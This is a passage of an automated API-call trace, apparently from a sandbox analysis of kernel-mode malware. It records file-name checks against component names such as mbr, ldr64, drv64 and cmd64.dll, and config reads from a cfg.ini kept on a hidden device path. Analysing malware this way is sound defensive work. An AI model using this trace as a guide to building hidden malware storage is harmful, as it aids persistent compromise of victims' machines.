_Dest="0d24eb7c\\lsash.xp") returned 17 [0129.634] KeEnterCriticalRegion () [0129.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.634] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.634] IdePortDispatch () returned 0x103 [0129.634] KeWaitForMutexObject () returned 0x0 [0129.634] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.634] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.634] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.634] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.634] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.634] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.634] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.634] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.634] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.634] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.635] KeLeaveCriticalRegion () [0129.635] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.635] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.635] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.635] KeEnterCriticalRegion () [0129.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.635] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.635] IdePortDispatch () returned 0x103 [0129.635] KeWaitForMutexObject () returned 0x0 [0129.635] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.635] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.635] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.635] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.635] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.635] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.635] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.635] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.635] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.635] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.635] KeLeaveCriticalRegion () [0129.635] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.636] ReleaseMutex (hMutex=0x100) returned 1 [0129.636] Sleep (dwMilliseconds=0x2bf20) [0129.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7076fa10, dwHighDateTime=0x1d24fa4)) [0129.643] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.643] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.643] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.643] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.643] KeEnterCriticalRegion () [0129.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.643] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.643] IdePortDispatch () returned 0x103 [0129.643] KeWaitForMutexObject () returned 0x0 [0129.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.643] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.643] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.643] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.643] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.643] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05b00 [0129.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.643] KeLeaveCriticalRegion () [0129.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.643] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.644] KeEnterCriticalRegion () [0129.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.644] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.644] KeLeaveCriticalRegion () [0129.644] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.644] KeEnterCriticalRegion () [0129.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.644] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.644] IdePortDispatch () returned 0x103 [0129.644] KeWaitForMutexObject () returned 0x0 [0129.644] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.644] KeLeaveCriticalRegion () [0129.644] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.644] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.644] KeEnterCriticalRegion () [0129.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.644] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2b000 [0129.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.644] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.644] IdePortDispatch () returned 0x103 [0129.644] KeWaitForMutexObject () returned 0x0 [0129.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.645] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.645] IdePortDispatch () returned 0x103 [0129.645] KeWaitForMutexObject () returned 0x0 [0129.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.645] KeLeaveCriticalRegion () [0129.645] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.645] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.645] KeEnterCriticalRegion () [0129.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.646] KeLeaveCriticalRegion () [0129.646] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.646] KeEnterCriticalRegion () [0129.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.646] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.646] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.646] KeLeaveCriticalRegion () [0129.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.646] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.646] KeEnterCriticalRegion () [0129.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.646] ExFreePoolWithTag (P=0xfffffa8003c05b00, Tag=0x0) [0129.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.646] KeLeaveCriticalRegion () [0129.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.646] ReleaseMutex (hMutex=0xf0) returned 1 [0129.646] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.646] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.646] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.646] KeEnterCriticalRegion () [0129.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.646] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.646] IdePortDispatch () returned 0x103 [0129.646] KeWaitForMutexObject () returned 0x0 [0129.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.647] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.647] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.647] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.647] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.647] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c068a0 [0129.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.647] KeLeaveCriticalRegion () [0129.647] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.647] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.647] KeEnterCriticalRegion () [0129.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.647] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.647] KeLeaveCriticalRegion () [0129.647] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.647] KeEnterCriticalRegion () [0129.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.647] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.647] IdePortDispatch () returned 0x103 [0129.647] KeWaitForMutexObject () returned 0x0 [0129.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.647] KeLeaveCriticalRegion () [0129.647] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.647] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.647] KeEnterCriticalRegion () [0129.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.647] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2c000 [0129.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.648] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.648] IdePortDispatch () returned 0x103 [0129.648] KeWaitForMutexObject () returned 0x0 [0129.648] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.648] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.648] IdePortDispatch () returned 0x103 [0129.648] KeWaitForMutexObject () returned 0x0 [0129.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.648] KeLeaveCriticalRegion () [0129.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.649] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.649] KeEnterCriticalRegion () [0129.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.649] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.649] KeLeaveCriticalRegion () [0129.649] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.649] KeEnterCriticalRegion () [0129.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.649] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.649] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.649] KeLeaveCriticalRegion () [0129.649] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.649] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.649] KeEnterCriticalRegion () [0129.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.649] ExFreePoolWithTag (P=0xfffffa8003c068a0, Tag=0x0) [0129.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.649] KeLeaveCriticalRegion () [0129.649] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.649] ReleaseMutex (hMutex=0xf0) returned 1 [0129.649] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.649] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.649] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.649] KeEnterCriticalRegion () [0129.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.649] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.649] IdePortDispatch () returned 0x103 [0129.651] KeWaitForMutexObject () returned 0x0 [0129.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.651] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.651] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.651] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.651] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.651] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc8b0 [0129.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.651] KeLeaveCriticalRegion () [0129.651] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.651] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.651] KeEnterCriticalRegion () [0129.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.651] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.651] KeLeaveCriticalRegion () [0129.651] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.651] KeEnterCriticalRegion () [0129.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.651] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.651] IdePortDispatch () returned 0x103 [0129.651] KeWaitForMutexObject () returned 0x0 [0129.652] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.652] KeLeaveCriticalRegion () [0129.652] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.652] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.652] KeEnterCriticalRegion () [0129.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.652] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2d000 [0129.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.652] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.652] IdePortDispatch () returned 0x103 [0129.652] KeWaitForMutexObject () returned 0x0 [0129.652] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 